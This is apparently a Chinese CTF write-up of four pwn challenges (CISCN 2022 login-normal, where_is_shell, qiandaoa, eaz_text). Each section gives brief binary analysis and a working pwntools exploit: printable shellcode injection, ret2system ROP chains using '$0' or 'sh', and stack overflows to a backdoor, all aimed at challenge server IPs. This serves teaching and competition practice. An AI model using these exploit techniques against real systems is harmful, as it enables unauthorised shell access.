login
[CISCN 2022]login-normal
过程
首先看看保护

保护全开。。。
进入IDA中
题目的关键在于能否看懂sub_FFD函数做了什么
下面的这一段功能是告诉我们命令的匹配方法


opt:v7\n+msg:dest\n
只有匹配到这种格式的才是合法的命令,不然就会报错退出。
需要注意的是,由于从nptr复制到dest的时候传输的字节数是nptr的长度减1,因此需要多传一个无用的字节才能使得正确的msg成为dest。
漏洞点:

当v7为2时就会调用这个函数,它会检测两个全局变量的值是否为1,如果都为1就会将dest的内容作为shellcode执行。因此我们需要传入一个可视字符的shellcode。
而要改变这两个全局变量,就要先执行v7为1时对应的一个函数,要求dest指向的内容为ro0t即可改变这两个变量。

难度主要在代码审计上
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
io=remote('182.92.176.248',1111) elf=ELF('./login') shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' payload1='opt:1\nmsg:ro0ta\n' payload2='opt:2\n'+'msg:'+shellcode+'\r\n' io.sendlineafter('>>> ',payload1) io.sendlineafter('>>> ',payload2) io.interactive()
|
where_is_shell
过程
首先看看保护

进入IDA中
文件本身很简单
代码段是有r权限的,但是却并没有找到/bin/sh字符串,同时题目给出了一个tips,那么就需要到tips里面找字符串
**system的参数不一定必须是“/bin/sh”,system($0) **
‘$0’ 代表当前运行的命令名,一般用于脚本中。
$0在机器码中为 \x24\x30

在0x400541
处找到了\x24\x30
即$0
,直接system($0)
就能拿到shell(可以用D快捷键来查看)
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
io = remote('182.92.176.248',2222) elf = ELF('./shell')
ret_addr = 0x400416 pop_rdi_ret = 0x4005e3 tips = 0x400541 system_addr = elf.symbols['system']
payload = b'a'*0x10+b'a'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(system_addr)
io.sendlineafter('find it?\n',payload) io.interactive()
|
qiandaoa
过程
首先看看保护

进入IDA中

乍一看很复杂
发现s1是48字节,但是scanf读入100,存在溢出点
进入getflag函数

他说flag就是log

那么case 1,添加一个log,然后case 4去get flag
程序有system函数,但是没有/bin/sh字符串
system的参数不一定必须是“/bin/sh”,单独的“sh”有时也可以拿到shell(涨知识了)
接下来就是用ROPgadget构造ROP链
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import* io=remote("182.92.176.248",8888)
elf=ELF('./qiandaoa')
system_addr=elf.sym['system'] shell_addr=0x80482ea io.recvuntil('Please input admin password:') io.sendline('administrator') io.recvuntil('0.Exit\n:') io.sendline('1') payload=b'a'*(0x48+4)+p32(system_addr)+b'a'*4+p32(shell_addr) io.recvuntil('Please input new log info:') io.sendline(payload) io.recvuntil('0.Exit\n:') io.sendline('4') io.interactive()
|
eaz_text
过程
首先看看保护

进入IDA中

发现后门函数


可以直接打过去
payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
io=remote('101.37.118.53',8686)
binsh_addr=0x08048763 system_addr=0x0804831A target=0x804863a
payload=b'A'*0x6c + b'A'*4 + p32(target)
io.sendafter('anything?',payload) io.interactive()
|